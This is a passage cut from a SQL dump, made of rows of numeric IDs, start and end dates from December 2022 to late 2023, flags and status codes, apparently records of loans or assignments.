17','2022-12-17',0,'2',971,1),(9387,1782,13324,'2022-12-17','2022-12-19',0,'2',971,1),(9388,1782,13326,'2022-12-17','2022-12-20',0,'2',971,1),(9389,1666,13274,'2022-12-17','2022-12-17',0,'2',277,1),(9390,357,13322,'2022-12-19','2022-12-22',0,'2',251,1),(9391,1783,13331,'2022-12-20','2022-12-26',1,'2',975,1),(9392,1782,13334,'2022-12-20','2022-12-20',0,'2',971,1),(9393,1782,13333,'2022-12-20','2022-12-20',0,'2',971,1),(9394,1782,13332,'2022-12-20','2022-12-20',0,'2',971,1),(9395,1782,13335,'2022-12-20','2022-12-20',0,'2',971,1),(9396,1410,13336,'2022-12-20','2022-12-26',1,'2',975,1),(9397,1740,13339,'2022-12-20','2022-12-22',0,'2',1020,1),(9398,1740,13337,'2022-12-20','2022-12-22',0,'2',1020,1),(9399,358,13340,'2022-12-21','2022-12-22',0,'2',251,1),(9400,1068,13338,'2022-12-21','2022-12-22',0,'2',326,1),(9401,1786,13343,'2022-12-22','2022-12-23',1,'2',959,1),(9402,221,13342,'2022-12-22','2022-12-24',1,'2',85,1),(9403,222,13341,'2022-12-22','2022-12-24',1,'2',85,1),(9404,161,13349,'2022-12-28','2022-12-28',1,'2',73,1),(9405,161,13348,'2022-12-28','2022-12-28',1,'2',73,1),(9406,161,13347,'2022-12-28','2022-12-28',1,'2',73,1),(9407,161,13345,'2022-12-28','2022-12-28',1,'2',73,1),(9408,161,13350,'2022-12-29',NULL,0,NULL,73,1),(9409,1779,13357,'2023-01-02','2023-01-24',1,'2',975,1),(9410,1781,13351,'2023-01-02','2023-01-10',1,'2',91,1),(9411,1705,13354,'2023-01-02','2023-01-10',1,'2',91,1),(9412,161,13353,'2023-01-03',NULL,0,NULL,73,1),(9413,194,3131,'2023-01-03','2023-01-31',0,'2',45,1),(9414,160,13352,'2023-01-04','2023-01-27',0,'4',73,1),(9415,358,13356,'2023-01-04','2023-01-17',0,'2',251,1),(9416,357,13358,'2023-01-04','2023-01-11',0,'2',251,1),(9417,1654,13359,'2023-01-06','2023-03-20',0,'2',971,1),(9418,194,13360,'2023-01-07','2023-01-12',1,'2',45,1),(9419,1675,13364,'2023-01-07','2023-01-10',0,'2',86,1),(9420,1675,13363,'2023-01-07','2023-01-10',0,'2',86,1),(9421,1675,13362,'2023-01-07','2023-01-10',0,'2',86,1),(9422,1675,13361,'2023-01-07','2023-01-10',0,'2',86,1),(9423,160,13365,'2023-01-09','2023-01-23',1,'2',73,1),(9424,357,13373,'2023-01-11','2023-01-11',0,'2',251,1),(9425,357,13372,'2023-01-11','2023-01-11',0,'2',251,1),(9426,357,13371,'2023-01-11','2023-01-11',0,'2',251,1),(9427,1783,13401,'2023-01-11','2023-01-24',1,'2',975,1),(9428,1779,13400,'2023-01-11','2023-01-24',1,'2',975,1),(9429,1410,13398,'2023-01-11','2023-01-24',1,'2',975,1),(9430,222,13390,'2023-01-12','2023-01-12',1,'2',85,1),(9431,221,13389,'2023-01-12','2023-01-12',1,'2',85,1),(9432,221,13388,'2023-01-12','2023-01-12',1,'2',85,1),(9433,222,13387,'2023-01-12','2023-01-12',1,'2',85,1),(9434,221,13386,'2023-01-12','2023-01-12',1,'2',85,1),(9435,1787,13384,'2023-01-12','2023-01-18',1,'2',959,1),(9436,1787,13382,'2023-01-12','2023-01-18',1,'2',959,1),(9437,194,13395,'2023-01-12','2023-02-10',1,'2',45,1),(9438,1011,13399,'2023-01-12','2023-01-18',1,'2',91,1),(9439,1011,13397,'2023-01-12','2023-01-18',1,'2',91,1),(9440,633,13392,'2023-01-12','2023-01-17',1,'2',639,1),(9441,1675,13370,'2023-01-12','2023-01-12',1,'2',86,1),(9442,1675,13369,'2023-01-12','2023-01-12',1,'2',86,1),(9443,1675,13368,'2023-01-12','2023-01-12',1,'2',86,1),(9444,1675,13367,'2023-01-12','2023-01-12',1,'2',86,1),(9445,1675,13366,'2023-01-12','2023-01-12',1,'2',86,1),(9446,1787,13259,'2023-01-13','2023-01-18',0,'2',959,1),(9447,633,13391,'2023-01-13','2023-01-17',1,'2',639,1),(9448,1668,13416,'2023-01-17','2023-02-09',1,'2',277,1),(9449,634,13402,'2023-01-17','2023-01-17',1,'2',639,1),(9450,633,13403,'2023-01-17','2023-01-17',1,'2',639,1),(9451,1011,13407,'2023-01-17','2023-01-18',1,'2',91,1),(9452,1070,13415,'2023-01-18','2023-01-25',0,'2',326,1),(9453,1070,13414,'2023-01-18','2023-01-25',0,'2',326,1),(9454,1070,13413,'2023-01-18','2023-01-25',0,'2',326,1),(9455,1070,13412,'2023-01-18','2023-01-25',0,'2',326,1),(9456,1070,13411,'2023-01-18','2023-01-25',0,'2',326,1),(9457,1012,13406,'2023-01-18','2023-02-06',1,'2',91,1),(9458,1787,13409,'2023-01-18','2023-01-18',1,'2',959,1),(9459,1787,13408,'2023-01-18','2023-01-18',1,'2',959,1),(9460,1783,13422,'2023-01-20','2023-01-27',1,'2',975,1),(9461,194,13421,'2023-01-20','2023-06-09',0,'2',45,1),(9462,1452,13431,'2023-01-21','2023-02-06',1,'2',91,1),(9463,1452,13430,'2023-01-21','2023-03-17',1,'2',91,1),(9464,1452,13429,'2023-01-21','2023-02-06',1,'2',91,1),(9465,1705,13428,'2023-01-21','2023-02-06',1,'2',91,1),(9466,1370,13432,'2023-01-21','2023-01-30',1,'2',667,1),(9467,1749,13427,'2023-01-21','2023-02-07',1,'2',996,1),(9468,1749,13424,'2023-01-21','2023-02-07',1,'2',996,1),(9469,1749,13423,'2023-01-21','2023-02-07',1,'2',996,1),(9470,161,13375,'2023-01-23','2023-01-23',1,'2',73,1),(9471,162,13376,'2023-01-23','2023-01-23',1,'2',73,1),(9472,162,13377,'2023-01-23','2023-01-23',1,'2',73,1),(9473,162,13380,'2023-01-23','2023-01-23',1,'2',73,1),(9474,162,13379,'2023-01-23','2023-01-23',1,'2',73,1),(9475,162,13378,'2023-01-23','2023-01-23',1,'2',73,1),(9476,1787,13436,'2023-01-23','2023-02-03',1,'2',959,1),(9477,188,13438,'2023-01-24','2023-02-15',1,'2',45,1),(9478,1779,6114,'2023-01-24',NULL,0,NULL,975,1),(9479,1750,4837,'2023-01-24',NULL,0,NULL,996,1),(9480,1666,7473,'2023-01-24',NULL,0,NULL,277,1),(9481,1789,13441,'2023-01-27','2023-02-15',1,'2',277,1),(9482,1669,13440,'2023-01-27','2023-02-15',1,'2',277,1),(9483,1668,13439,'2023-01-27','2023-02-15',1,'2',277,1),(9484,1749,13444,'2023-01-27','2023-02-07',1,'2',996,1),(9485,1708,13442,'2023-01-27','2023-02-20',1,'2',639,1),(9486,1456,13448,'2023-01-27','2023-01-30',1,'2',667,1),(9487,1370,13447,'2023-01-27','2023-01-30',1,'2',667,1),(9488,1406,13449,'2023-01-27','2023-04-05',0,'2',971,1),(9489,1456,13446,'2023-01-27','2023-01-30',1,'2',667,1),(9490,1370,13445,'2023-01-27','2023-01-30',1,'2',667,1),(9491,1740,13458,'2023-01-30','2023-02-06',1,'2',1020,1),(9492,1740,13457,'2023-01-30','2023-02-06',1,'2',1020,1),(9493,1740,13456,'2023-01-30','2023-02-06',1,'2',1020,1),(9494,1740,13455,'2023-01-30','2023-02-06',1,'2',1020,1),(9495,1740,13454,'2023-01-30','2023-02-06',1,'2',1020,1),(9496,1456,13460,'2023-01-31','2023-04-15',1,'2',667,1),(9497,1787,13461,'2023-01-31','2023-02-08',0,'2',959,1),(9498,1324,13459,'2023-01-31','2023-02-08',0,'2',959,1),(9499,1324,13453,'2023-01-31','2023-02-08',0,'2',959,1),(9500,1324,13452,'2023-01-31','2023-02-08',0,'2',959,1),(9501,194,13451,'2023-01-31','2023-02-15',1,'2',45,1),(9502,1011,13463,'2023-01-31','2023-02-06',1,'2',91,1),(9503,1780,13462,'2023-02-01','2023-05-22',1,'4',971,1),(9504,162,13469,'2023-02-01','2023-03-16',1,'2',73,1),(9505,1710,13435,'2023-02-01','2023-03-17',1,'2',971,1),(9506,1654,13434,'2023-02-01','2023-03-17',1,'2',971,1),(9507,1406,13433,'2023-02-01','2023-03-17',1,'2',971,1),(9508,222,13468,'2023-02-02','2023-02-08',1,'2',85,1),(9509,221,13467,'2023-02-02','2023-02-08',1,'2',85,1),(9510,221,13466,'2023-02-02','2023-02-08',1,'2',85,1),(9511,222,13465,'2023-02-02','2023-02-08',1,'2',85,1),(9512,222,13464,'2023-02-02','2023-02-08',1,'2',85,1),(9513,1750,13470,'2023-02-03','2023-02-07',1,'2',996,1),(9514,1790,13476,'2023-02-06','2023-02-07',0,'2',981,1),(9515,1790,0,'2023-02-06',NULL,0,NULL,981,1),(9516,1790,13475,'2023-02-06','2023-02-07',0,'2',981,1),(9517,1790,13474,'2023-02-06','2023-02-07',0,'2',981,1),(9518,1790,13473,'2023-02-06','2023-02-07',0,'2',981,1),(9519,1790,13472,'2023-02-06','2023-02-07',0,'2',981,1),(9520,357,13482,'2023-02-08','2023-02-09',0,'2',251,1),(9521,194,13477,'2023-02-08','2023-04-25',1,'2',45,1),(9522,357,13481,'2023-02-08','2023-02-09',0,'2',251,1),(9523,359,13480,'2023-02-08','2023-02-09',0,'2',251,1),(9524,359,13478,'2023-02-08','2023-02-09',0,'2',251,1),(9525,1370,13491,'2023-02-08','2023-11-07',1,'2',667,1),(9526,1456,13490,'2023-02-08','2023-11-07',1,'2',667,1),(9527,1370,13489,'2023-02-08','2023-11-07',1,'2',667,1),(9528,1456,13483,'2023-02-08','2023-11-07',1,'2',667,1),(9529,1666,13471,'2023-02-08','2023-02-09',1,'2',277,1),(9530,357,13479,'2023-02-09','2023-02-09',0,'2',251,1),(9531,633,13495,'2023-02-09','2023-02-20',1,'2',639,1),(9532,634,13494,'2023-02-09','2023-04-17',1,'2',639,1),(9533,633,13493,'2023-02-09','2023-02-20',1,'2',639,1),(9534,634,13492,'2023-02-09','2023-02-20',1,'2',639,1),(9535,1788,13182,'2023-02-09','2023-02-09',0,'2',73,1),(9536,160,13171,'2023-02-09','2023-02-09',0,'2',73,1),(9537,1068,13488,'2023-02-10','2023-02-21',0,'2',326,1),(9538,1068,13487,'2023-02-10','2023-02-21',0,'2',326,1),(9539,1068,13486,'2023-02-10','2023-02-21',0,'2',326,1),(9540,1068,13485,'2023-02-10','2023-02-21',0,'2',326,1),(9541,1068,13484,'2023-02-10','2023-02-21',0,'2',326,1),(9542,1406,13496,'2023-02-10','2023-03-15',1,'2',971,1),(9543,1705,13500,'2023-02-17','2023-03-23',1,'2',91,1),(9544,1710,13498,'2023-02-20','2023-03-17',1,'2',971,1),(9545,1654,13497,'2023-02-20','2023-03-17',1,'2',971,1),(9546,194,13501,'2023-03-06','2023-03-18',1,'2',45,1),(9547,195,13502,'2023-02-21','2023-03-14',1,'2',45,1),(9548,1781,0,'2023-02-21',NULL,0,NULL,91,1),(9549,1245,0,'2023-02-21',NULL,0,NULL,91,1),(9550,1574,13505,'2023-02-22','2023-03-14',1,'4',86,1),(9551,1675,13504,'2023-02-22','2023-03-14',1,'4',86,1),(9552,1675,13503,'2023-02-22','2023-03-14',1,'4',86,1),(9553,359,13508,'2023-02-22','2023-03-17',0,'2',251,1),(9554,1011,13506,'2023-02-22','2023-03-17',1,'2',91,1),(9555,1012,0,'2023-02-23',NULL,0,NULL,91,1),(9556,1011,13509,'2023-02-24','2023-03-17',1,'2',91,1),(9557,1783,13514,'2023-02-24','2023-02-27',1,'2',975,1),(9558,1783,13512,'2023-02-24','2023-02-27',1,'2',975,1),(9559,1783,13510,'2023-02-24','2023-02-27',1,'2',975,1),(9560,222,13513,'2023-02-24','2023-04-24',1,'2',85,1),(9561,1783,13511,'2023-02-24','2023-02-27',1,'2',975,1),(9562,633,13521,'2023-02-27','2023-03-17',1,'2',639,1),(9563,1439,13519,'2023-02-27','2023-02-27',1,'2',86,1),(9564,1439,13518,'2023-02-27','2023-02-27',1,'2',86,1),(9565,1439,13517,'2023-02-27','2023-02-27',1,'2',86,1),(9566,1439,13516,'2023-02-27','2023-02-27',1,'2',86,1),(9567,1439,13515,'2023-02-27','2023-02-27',1,'2',86,1),(9568,1456,13526,'2023-03-01','2023-03-06',1,'2',667,1),(9569,161,13525,'2023-03-01','2023-03-21',1,'2',73,1),(9570,1779,13529,'2023-03-04','2023-03-10',1,'2',975,1),(9571,194,13541,'2023-03-09','2023-03-21',1,'2',45,1),(9572,162,13540,'2023-03-10','2023-03-21',1,'2',73,1),(9573,222,13548,'2023-03-13','2023-03-16',1,'2',85,1),(9574,222,13547,'2023-03-13','2023-03-16',1,'2',85,1),(9575,222,13546,'2023-03-13','2023-03-16',1,'2',85,1),(9576,221,13536,'2023-03-13','2023-03-16',1,'2',85,1),(9577,222,13535,'2023-03-13','2023-03-16',1,'2',85,1),(9578,222,13534,'2023-03-13','2023-03-16',1,'2',85,1),(9579,222,13533,'2023-03-13','2023-03-16',1,'2',85,1),(9580,221,13532,'2023-03-13','2023-03-16',1,'2',85,1),(9581,222,13531,'2023-03-13','2023-03-16',1,'2',85,1),(9582,222,13528,'2023-03-13','2023-03-16',1,'2',85,1),(9583,358,13559,'2023-03-14','2023-05-17',0,'2',251,1),(9584,1674,13558,'2023-03-14','2023-03-20',0,'2',251,1),(9585,1394,13554,'2023-03-14','2023-03-14',1,'2',86,1),(9586,1394,13553,'2023-03-14','2023-03-14',1,'2',86,1),(9587,1394,13552,'2023-03-14','2023-03-14',1,'2',86,1),(9588,1394,13551,'2023-03-14','2023-03-14',1,'2',86,1),(9589,1394,13550,'2023-03-14','2023-03-14',1,'2',86,1),(9590,194,13555,'2023-03-14','2023-03-17',1,'2',45,1),(9591,358,13565,'2023-03-15','2023-03-20',0,'2',251,1),(9592,1674,13564,'2023-03-15','2023-03-20',0,'2',251,1),(9593,357,13563,'2023-03-15','2023-03-25',0,'2',251,1),(9594,1674,13560,'2023-03-15','2023-04-25',0,'2',251,1),(9595,1068,13581,'2023-03-15','2023-04-22',1,'2',326,1),(9596,1068,13580,'2023-03-15','2023-04-22',1,'2',326,1),(9597,1068,13579,'2023-03-15','2023-04-22',1,'2',326,1),(9598,1068,13577,'2023-03-15','2023-04-22',1,'2',326,1),(9599,1068,13576,'2023-03-15','2023-04-22',1,'2',326,1),(9600,1068,13574,'2023-03-15','2023-03-30',0,'2',326,1),(9601,1068,13573,'2023-03-15','2023-03-30',0,'2',326,1),(9602,1068,13571,'2023-03-15','2023-03-30',0,'2',326,1),(9603,1068,13569,'2023-03-15','2023-03-30',0,'2',326,1),(9604,1068,13568,'2023-03-15','2023-03-30',0,'2',326,1),(9605,190,13567,'2023-03-15','2023-03-25',1,'2',45,1),(9606,358,13562,'2023-03-16','2023-04-26',0,'2',251,1),(9607,1674,13561,'2023-03-16','2023-04-26',0,'2',251,1),(9608,633,13583,'2023-03-16','2023-03-23',1,'2',639,1),(9609,634,13584,'2023-03-16','2023-04-17',1,'2',639,1),(9610,633,13586,'2023-03-16','2023-03-23',1,'2',639,1),(9611,634,13585,'2023-03-16','2023-03-23',1,'2',639,1),(9612,1785,13582,'2023-03-17','2023-03-23',0,'2',959,1),(9613,1785,13578,'2023-03-17','2023-03-23',0,'2',959,1),(9614,1785,13575,'2023-03-17','2023-03-23',0,'2',959,1),(9615,1785,13572,'2023-03-17','2023-03-23',0,'2',959,1),(9616,1785,13570,'2023-03-17','2023-03-23',0,'2',959,1),(9617,194,13587,'2023-03-17','2023-04-18',1,'2',45,1),(9618,633,13594,'2023-03-17','2023-04-17',1,'2',639,1),(9619,634,13593,'2023-03-17','2023-04-17',1,'2',639,1),(9620,633,13592,'2023-03-17','2023-04-17',1,'2',639,1),(9621,633,13589,'2023-03-18','2023-03-23',1,'2',639,1),(9622,634,13591,'2023-03-18','2023-03-23',1,'2',639,1),(9623,162,13588,'2023-03-18','2023-04-06',1,'2',73,1),(9624,1011,13596,'2023-03-20','2023-04-18',1,'2',91,1),(9625,633,13597,'2023-03-20','2023-05-19',1,'2',639,1),(9626,1011,0,'2023-03-20',NULL,0,NULL,91,1),(9627,194,13598,'2023-03-24','2023-04-26',1,'2',45,1),(9628,1406,13604,'2023-03-24','2023-04-14',1,'2',971,1),(9629,194,13611,'2023-03-24','2023-04-26',1,'2',45,1),(9630,161,13556,'2023-03-24','2023-03-29',1,'2',73,1),(9631,1732,13610,'2023-03-25','2023-03-27',1,'2',667,1),(9632,1732,13609,'2023-03-25','2023-03-27',1,'2',667,1),(9633,1732,13608,'2023-03-25','2023-03-27',1,'2',667,1),(9634,1732,13607,'2023-03-25','2023-03-27',1,'2',667,1),(9635,1749,13606,'2023-03-25','2023-04-24',1,'2',996,1),(9636,1749,13613,'2023-03-27','2023-04-24',1,'2',996,1),(9637,194,13612,'2023-03-28','2023-04-20',1,'2',45,1),(9638,1669,13602,'2023-03-28','2023-04-04',1,'2',277,1),(9639,1668,13601,'2023-03-28','2023-04-04',1,'2',277,1),(9640,1663,13603,'2023-03-28','2023-04-04',1,'2',277,1),(9641,1664,13600,'2023-03-28','2023-04-04',1,'2',277,1),(9642,1594,13599,'2023-03-28','2023-04-04',1,'2',277,1),(9643,195,13620,'2023-03-29','2023-04-22',1,'2',45,1),(9644,161,13595,'2023-03-29','2023-04-15',1,'2',73,1),(9645,1784,13621,'2023-03-31','2023-04-06',1,'2',959,1),(9647,1664,13420,'2023-04-05','2023-04-06',0,'2',277,1),(9648,633,13627,'2023-04-05','2023-04-17',1,'2',639,1),(9649,1370,13634,'2023-04-06','2023-04-28',1,'2',667,1),(9650,1370,13633,'2023-04-06','2023-04-28',1,'2',667,1),(9651,1370,13631,'2023-04-06','2023-04-28',1,'2',667,1),(9652,1750,13628,'2023-04-06','2023-04-24',1,'2',996,1),(9653,1750,13629,'2023-04-06','2023-04-24',1,'2',996,1),(9654,1750,13630,'2023-04-06','2023-04-24',1,'2',996,1),(9655,1780,13626,'2023-04-06','2023-04-13',1,'2',971,1),(9656,1710,13625,'2023-04-06','2023-04-13',1,'2',971,1),(9657,1406,13624,'2023-04-06','2023-04-14',1,'2',971,1),(9658,1342,13623,'2023-04-06','2023-04-14',1,'2',971,1),(9659,1710,13622,'2023-04-06','2023-04-13',1,'2',971,1),(9660,1789,13619,'2023-04-07','2023-04-10',1,'2',277,1),(9661,1789,13618,'2023-04-07','2023-04-10',1,'2',277,1),(9662,1789,13617,'2023-04-07','2023-04-10',1,'2',277,1),(9663,1789,13616,'2023-04-07','2023-04-10',1,'2',277,1),(9664,1789,13615,'2023-04-07','2023-04-10',1,'2',277,1),(9665,1574,13644,'2023-04-10','2023-04-10',1,'2',86,1),(9666,1574,13643,'2023-04-10','2023-04-10',1,'2',86,1),(9667,1574,13642,'2023-04-10','2023-04-10',1,'2',86,1),(9668,1574,13641,'2023-04-10','2023-04-10',1,'2',86,1),(9669,1574,13640,'2023-04-10','2023-04-10',1,'2',86,1),(9670,162,13638,'2023-04-10','2023-04-11',1,'2',73,1),(9671,162,13637,'2023-04-10','2023-04-11',1,'2',73,1),(9672,162,13636,'2023-04-10','2023-04-11',1,'2',73,1),(9673,162,13635,'2023-04-10','2023-04-11',1,'2',73,1),(9674,1069,13645,'2023-04-11','2023-04-18',1,'2',326,1),(9675,1781,13639,'2023-04-11','2023-04-22',1,'2',91,1),(9676,1456,13646,'2023-04-14','2023-04-17',1,'2',667,1),(9677,1790,13654,'2023-04-15','2023-04-17',1,'2',981,1),(9678,1790,13650,'2023-04-15','2023-04-17',1,'2',981,1),(9679,1790,13649,'2023-04-15','2023-04-17',1,'2',981,1),(9680,1790,13648,'2023-04-15','2023-04-17',1,'2',981,1),(9681,1790,13647,'2023-04-15','2023-04-17',1,'2',981,1),(9682,1783,13668,'2023-04-17','2023-04-21',1,'2',975,1),(9683,191,13651,'2023-04-17','2023-04-22',1,'2',45,1),(9684,192,13652,'2023-04-17','2023-04-27',1,'2',45,1),(9685,1011,13664,'2023-04-17','2023-04-18',1,'2',91,1),(9686,1011,13666,'2023-04-17','2023-04-18',1,'2',91,1),(9687,1705,13665,'2023-04-17','2023-04-18',1,'2',91,1),(9688,1705,13662,'2023-04-17','2023-04-18',1,'2',91,1),(9689,1705,13663,'2023-04-17','2023-04-18',1,'2',91,1),(9690,1456,13667,'2023-04-18','2023-04-28',1,'2',667,1),(9691,161,13653,'2023-04-18','2023-05-17',1,'2',73,1),(9692,161,13655,'2023-04-18','2023-04-18',0,'2',73,1),(9693,161,13656,'2023-04-18','2023-04-18',0,'2',73,1),(9694,161,13657,'2023-04-18','2023-04-18',0,'2',73,1),(9695,161,13661,'2023-04-18','2023-04-18',0,'2',73,1),(9696,161,13660,'2023-04-18','2023-04-18',0,'2',73,1),(9697,161,13659,'2023-04-18','2023-04-18',0,'2',73,1),(9698,161,13658,'2023-04-18','2023-04-18',0,'2',73,1),(9699,1068,13682,'2023-04-18','2023-04-22',1,'2',326,1),(9700,1068,13681,'2023-04-18','2023-04-22',1,'2',326,1),(9701,1070,13680,'2023-04-18','2023-04-22',1,'2',326,1),(9702,1068,13679,'2023-04-18','2023-04-22',1,'2',326,1),(9703,1740,13678,'2023-04-18','2023-04-26',1,'2',1020,1),(9704,1740,13677,'2023-04-18','2023-04-26',1,'2',1020,1),(9705,1740,13676,'2023-04-18','2023-04-26',1,'2',1020,1),(9706,1740,13675,'2023-04-18','2023-04-26',1,'2',1020,1),(9707,1740,13674,'2023-04-18','2023-04-26',1,'2',1020,1),(9708,1740,13673,'2023-04-18','2023-04-26',1,'2',1020,1),(9709,1740,13672,'2023-04-18','2023-04-26',1,'2',1020,1),(9710,1740,13671,'2023-04-18','2023-04-26',1,'2',1020,1),(9711,1740,13670,'2023-04-18','2023-04-26',1,'2',1020,1),(9712,1740,13669,'2023-04-18','2023-04-26',1,'2',1020,1),(9713,195,13689,'2023-04-19','2023-04-24',1,'2',45,1),(9714,357,13695,'2023-04-19','2023-04-21',0,'2',251,1),(9715,359,13694,'2023-04-19','2023-04-21',0,'2',251,1),(9716,1674,13693,'2023-04-19','2023-04-21',0,'2',251,1),(9717,358,13692,'2023-04-19','2023-04-21',0,'2',251,1),(9718,358,13691,'2023-04-19','2023-04-26',0,'2',251,1),(9719,1674,13690,'2023-04-19','2023-04-21',0,'2',251,1),(9720,1310,13686,'2023-04-19','2023-04-21',1,'2',959,1),(9721,1310,13685,'2023-04-19','2023-04-21',1,'2',959,1),(9722,1310,13684,'2023-04-19','2023-04-21',1,'2',959,1),(9723,1310,13683,'2023-04-19','2023-04-21',1,'2',959,1),(9724,633,13688,'2023-04-20','2023-05-06',1,'2',639,1),(9725,1779,13699,'2023-04-20','2023-04-21',1,'2',975,1),(9726,1779,13698,'2023-04-20','2023-04-21',1,'2',975,1),(9727,1779,13697,'2023-04-20','2023-04-21',1,'2',975,1),(9728,1779,13696,'2023-04-20','2023-04-21',1,'2',975,1),(9729,1749,13701,'2023-04-21','2023-04-25',1,'2',996,1),(9730,1705,13705,'2023-04-22','2023-04-22',1,'2',91,1),(9731,1705,13708,'2023-04-22','2023-04-25',1,'2',91,1),(9732,1705,13706,'2023-04-22','2023-04-25',1,'2',91,1),(9733,1750,13709,'2023-04-22','2023-04-25',1,'2',996,1),(9734,1789,13700,'2023-04-24','2023-06-20',1,'2',277,1),(9735,1749,13710,'2023-04-24','2023-04-25',1,'2',996,1),(9736,1750,13724,'2023-04-24','2023-04-25',1,'2',996,1),(9737,1675,13726,'2023-04-25','2023-05-06',1,'2',86,1),(9738,1749,13727,'2023-04-25','2023-04-26',1,'2',996,1),(9739,194,13729,'2023-04-26','2023-04-27',1,'2',45,1),(9740,1781,13728,'2023-04-26','2023-04-26',1,'2',91,1),(9741,194,13687,'2023-04-26','2023-04-28',0,'2',45,1),(9742,1784,13721,'2023-04-27','2023-04-27',1,'2',959,1),(9743,1784,13720,'2023-04-27','2023-04-27',1,'2',959,1),(9744,1784,13719,'2023-04-27','2023-04-27',1,'2',959,1),(9745,1784,13717,'2023-04-27','2023-04-27',1,'2',959,1),(9746,1784,13716,'2023-04-27','2023-04-27',1,'2',959,1),(9747,1370,13734,'2023-04-27','2023-04-28',1,'2',667,1),(9748,1370,13733,'2023-04-27','2023-04-28',1,'2',667,1),(9749,1370,13732,'2023-04-27','2023-04-28',1,'2',667,1),(9750,1370,13731,'2023-04-27','2023-04-28',1,'2',667,1),(9751,1370,13730,'2023-04-27','2023-04-28',1,'2',667,1),(9752,1675,13740,'2023-04-28','2023-04-28',1,'2',86,1),(9753,1675,13739,'2023-04-28','2023-04-28',1,'2',86,1),(9754,1675,13738,'2023-04-28','2023-04-28',1,'2',86,1),(9755,1675,13737,'2023-04-28','2023-04-28',1,'2',86,1),(9756,1675,13736,'2023-04-28','2023-04-28',1,'2',86,1),(9757,1781,13735,'2023-04-28','2023-05-12',0,'2',91,1),(9758,1705,13735,'2023-04-28','2023-05-03',1,NULL,91,1),(9759,1011,13735,'2023-04-29','2023-04-29',1,NULL,91,1),(9760,1452,13735,'2023-04-29',NULL,0,NULL,91,1),(9761,1705,13741,'2023-05-02','2023-06-12',1,'2',91,1),(9762,195,13742,'2023-05-05','2023-05-24',1,'2',45,1),(9763,633,13746,'2023-05-06','2023-05-16',1,'2',639,1),(9764,633,13744,'2023-05-06','2023-05-16',1,'2',639,1),(9765,633,13743,'2023-05-06','2023-05-16',1,'2',639,1),(9766,1790,13757,'2023-05-10','2023-05-11',1,'2',981,1),(9767,1790,13756,'2023-05-10','2023-05-11',1,'2',981,1),(9768,1790,13755,'2023-05-10','2023-05-11',1,'2',981,1),(9769,1790,13754,'2023-05-10','2023-05-11',1,'2',981,1),(9770,1790,13753,'2023-05-10','2023-05-11',1,'2',981,1),(9771,1245,3548,'2023-05-11',NULL,0,NULL,91,1),(9772,194,13760,'2023-05-12','2023-05-25',1,'2',45,1),(9773,1068,13752,'2023-05-16','2023-05-20',1,'2',326,1),(9774,1067,13751,'2023-05-16','2023-05-20',1,'2',326,1),(9775,1068,13750,'2023-05-16','2023-05-20',1,'2',326,1),(9776,1070,13749,'2023-05-16','2023-05-20',1,'2',326,1),(9777,1069,13762,'2023-05-16','2023-05-20',1,'2',326,1),(9778,194,13764,'2023-05-16','2023-05-24',1,'2',45,1),(9779,195,13761,'2023-05-17','2023-05-19',1,'2',45,1),(9780,194,13763,'2023-05-17','2023-05-27',1,'2',45,1),(9781,162,13765,'2023-05-17','2023-06-12',1,'2',73,1),(9782,194,13767,'2023-05-18','2023-05-29',1,'2',45,1),(9783,195,2932,'2023-05-19','2023-07-30',1,'2',45,1),(9784,1789,13768,'2023-05-20','2023-06-13',1,'2',277,1),(9785,194,13770,'2023-05-22','2023-05-29',1,'2',45,1),(9786,1367,13774,'2023-05-22','2023-06-01',1,'2',959,1),(9787,1780,13722,'2023-05-22','2023-06-15',1,'2',971,1),(9788,1710,13718,'2023-05-22','2023-06-15',1,'2',971,1),(9789,1406,13715,'2023-05-22','2023-06-15',1,'2',971,1),(9790,1654,13714,'2023-05-22','2023-06-15',1,'2',971,1),(9791,1782,13713,'2023-05-22','2023-06-15',1,'2',971,1),(9792,1406,13769,'2023-05-22','2023-06-28',1,'2',971,1),(9793,1781,13773,'2023-05-23','2023-06-12',1,'2',91,1),(9794,1789,13771,'2023-05-23','2023-06-13',1,'2',277,1),(9795,358,13777,'2023-05-24','2023-07-25',1,'2',251,1),(9796,194,13785,'2023-05-26','2023-05-30',1,'2',45,1),(9797,194,13783,'2023-05-26','2023-05-29',1,'2',45,1),(9798,1710,13782,'2023-05-29','2023-06-15',1,'2',971,1),(9799,1654,13781,'2023-05-29','2023-06-15',1,'2',971,1),(9800,1406,13780,'2023-05-29','2023-06-15',1,'2',971,1),(9801,1342,13779,'2023-05-29','2023-06-15',1,'2',971,1),(9802,1780,13778,'2023-05-29','2023-06-15',1,'2',971,1),(9803,194,13787,'2023-05-29','2023-05-31',1,'2',45,1),(9804,194,13789,'2023-05-31','2023-05-31',1,'2',45,1),(9805,1749,13790,'2023-06-02','2023-06-14',1,'4',996,1),(9806,194,13792,'2023-06-03','2023-07-04',1,'2',45,1),(9807,1011,13796,'2023-06-06','2023-06-12',1,'2',91,1),(9808,1788,13776,'2023-06-09','2023-06-09',1,'2',73,1),(9809,1788,13786,'2023-06-09','2023-06-21',1,'2',73,1),(9810,1788,13791,'2023-06-09','2023-06-21',1,'2',73,1),(9811,1788,13797,'2023-06-09','2023-06-09',1,NULL,73,1),(9812,1452,13798,'2023-06-12','2023-06-29',1,'2',91,1),(9813,1740,13808,'2023-06-12','2023-06-21',1,'2',1020,1),(9814,1740,13807,'2023-06-12','2023-06-21',1,'2',1020,1),(9815,1740,13806,'2023-06-12','2023-06-21',1,'2',1020,1),(9816,1740,13805,'2023-06-12','2023-06-21',1,'2',1020,1),(9817,1740,13804,'2023-06-12','2023-06-21',1,'2',1020,1),(9818,1740,13803,'2023-06-12','2023-06-21',1,'2',1020,1),(9819,1740,13802,'2023-06-12','2023-06-21',1,'2',1020,1),(9820,1740,13801,'2023-06-12','2023-06-21',1,'2',1020,1),(9821,1740,13800,'2023-06-12','2023-06-21',1,'2',1020,1),(9822,1740,13799,'2023-06-12','2023-06-21',1,'2',1020,1),(9823,222,13809,'2023-06-13','2023-07-28',1,'2',85,1),(9824,1750,13814,'2023-06-14','2023-07-06',1,'2',996,1),(9825,1750,13813,'2023-06-14','2023-07-06',1,'2',996,1),(9826,1750,13812,'2023-06-14','2023-07-06',1,'2',996,1),(9827,194,13810,'2023-06-15','2023-07-04',1,'2',45,1),(9828,634,13816,'2023-06-16','2023-06-22',0,'2',639,1),(9829,1708,13820,'2023-06-16','2023-06-22',1,'2',639,1),(9830,1708,13824,'2023-06-16','2023-06-22',1,'2',639,1),(9831,1708,13825,'2023-06-16','2023-06-22',1,'2',639,1),(9832,1708,13823,'2023-06-16','2023-06-22',1